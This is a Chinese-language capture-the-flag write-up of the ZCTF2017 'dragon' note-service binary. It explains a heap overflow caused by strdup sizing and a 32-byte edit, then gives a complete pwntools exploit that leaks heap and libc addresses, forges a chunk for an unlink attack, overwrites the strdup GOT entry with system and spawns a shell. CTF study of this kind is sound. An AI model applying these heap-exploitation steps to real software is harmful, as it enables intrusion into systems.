美文网首页
每日一胖——ZCTF2017之dragon

每日一胖——ZCTF2017之dragon

作者: bluecake | 来源:发表于2017-02-28 22:20 被阅读0次

    漏洞类型:堆溢出
    利用方法:unlink(具体原理参见)

    程序入口,经典note类型的题目

    welcome to my note service
    1. add note
    2. edit note
    3. delete note
    4. list note
    >> 
    

    代码分析

    __int64 sub_400A28()
    {
      v6 = *MK_FP(__FS__, 40LL);
      if ( notes_num > 4 )
      {
        puts("you've got enough notes.");
      }
      else
      {
        v4 = (void **)malloc(0x18uLL);
        printf("please input note name size: ");
        __isoc99_scanf("%ld", &size);
        getchar();
        if ( (signed __int64)size <= 32 )
        {
          *v4 = malloc(size);
          printf("please input note name: ", &size);
          v0 = (unsigned int)size;
          readn(*v4, size);
          printf("please input note content: ", v0);
          readn(&s, 32);
          v4[2] = strdup(&s);           
          for ( i = 0; i <= 4; ++i )
          {
            if ( !notes[i] )
            {
              *((_DWORD *)v4 + 2) = i;
              notes[i] = (__int64)v4;
              break;
            }
          }
          ++notes_num;
          puts("add note success.");
        }
      }
      return *MK_FP(__FS__, 40LL) ^ v6;
    }
    

    这里有两个问题,当输入的size大于32后,函数直接返回,而申请的内存并没有释放掉。另一个问题出在strdup函数上,strdup的功能等价于先调用strlen计算输入字符串的长度,然后调用malloc申请对应大小的内存,最后再调用strcpy拷贝字符串,我们再来看一下edit功能

    __int64 sub_400B87()
    {
      int v1; // [sp+Ch] [bp-14h]@1
      __int64 v2; // [sp+10h] [bp-10h]@4
      __int64 v3; // [sp+18h] [bp-8h]@1
    
      v3 = *MK_FP(__FS__, 40LL);
      printf("input note id: ");
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( v1 >= 0 && v1 <= 4 && notes[v1] )
      {
        v2 = notes[v1];
        printf("please input new note content: ", &v1);
        readn(*(void **)(v2 + 16), 32);   //这里读入了32个字节的数据
      }
      else
      {
        puts("wrong id.");
      }
      return *MK_FP(__FS__, 40LL) ^ v3;
    }
    

    glibc内存管理中,最低分配的是16个字节(64位),也就是说如果新建note时输入content的长度小于16字节,通过edit我们可以实现最多16个字节的溢出。不难看出,溢出之后我们就可以泄露堆地址。

    edit溢出.png
    当然,通过溢出我们也可以伪造堆,接下来就是通过unlink操作修改指针
    伪造堆块.png
    修改后地址0x16af0e0指向值将会变为0x16af0c8,这个地址是content地址,再次调用edit就可以完全地控制这个值了。后面要做的就是把这个地址修改为strdupgot表,然后调用list功能泄露libc地址,并再次调用edit写入system函数地址,最后调用new功能get shell

    完整的exp如下

    from pwn import *
    
    def new(p, name_size, name, content):
        p.recvuntil(">>")
        p.sendline('1')
        p.recvuntil('name size:')
        p.sendline(str(name_size))
        if name_size > 32:
            return
        p.recvuntil('name:')
        p.send(name)
        p.recvuntil('content:')
        p.send(content)
        
    def edit(p, nid, content):
        p.recvuntil(">>")
        p.sendline('2')
        p.recvuntil('id:')
        p.sendline(str(nid))
        p.recvuntil('content:')
        p.send(content)
        
    def delete(p, nid):
        p.recvuntil(">>")
        p.sendline('3')
        p.recvuntil('id:')
        p.sendline(str(nid))
        
    def show(p, nid):
        p.recvuntil(">>")
        p.sendline('4')
        p.recvuntil('id:')
        p.sendline(str(nid))
        
    p = process('./dragon')
    
    #step 1. leak heap addr
    new(p, 16, 'a'*15+'\n', 'b'*15 + '\n')
    new(p, 16, 'c'*15+'\n', 'd'*15 + '\n')
    
    #heap overflow here
    edit(p, 0, 'e'*32) 
    show(p, 0)
    p.recvuntil('e'*32)
    heap_base = u64(p.recvline()[:-1].ljust(8, '\0')) - 0x90
    print 'Got heap_base:', hex(heap_base)
    
    #step 2. clear data
    edit(p, 0, 'e'*16 + p64(0) + p64(0x21))
    delete(p, 0)
    delete(p, 1)
    new(p, 50, '', '')
    new(p, 50, '', '')
    new(p, 50, '', '')
    new(p, 50, '', '')
    
    unlink_addr = heap_base + 0xe0
    #step 3. make a fake heap
    new(p, 32, 'a'*32, 'b'*15 + '\n')
    new(p, 32, 'a'*31+'\n', '/bin/sh' + '\n')
    new(p, 32, 'a'*31+'\n', 'b'*15 + '\n')
    new(p, 32, 'a'*31+'\n', 'b'*15 + '\n')
    new(p, 32, p64(0xa0) + p64(0x21) + 'a'*16, 'b'*15 + '\n')
    edit(p, 0, p64(0) + p64(0xf1) + p64(unlink_addr - 0x18) + p64(unlink_addr - 0x10))
    edit(p, 2, 'a'*16 + p64(0xf0) + p64(0xa0))
    
    #step 4. trigger unlink
    delete(p, 3)
    
    #step 5. leak address of strdup
    binf = ELF('./dragon')
    edit(p, 0, 'a'*8 + p64(heap_base + 0xf0) + 'b'*8 + p64(binf.got['strdup']))
    show(p, 0)
    p.recvuntil('content:')
    free_addr = u64(p.recvline()[1:-1].ljust(8, '\0'))
    print 'strdup addr is ', hex(free_addr)
    
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
    system_addr = free_addr + libc.symbols['system'] - libc.symbols['strdup']
    print 'system addr is ', hex(system_addr)
    
    #step 6. rewrite system address into GOT table of strdup
    edit(p, 0, p64(system_addr) + '\n')
    delete(p, 2)
    #gdb.attach(p, open('debug'))
    
    #step 7. get shell
    new(p, 16, 'a'*15+'\n', '/bin/sh' + '\n')
    p.interactive()
    

    相关文章

      网友评论

          本文标题:每日一胖——ZCTF2017之dragon

          本文链接:https://www.haomeiwen.com/subject/gjyfgttx.html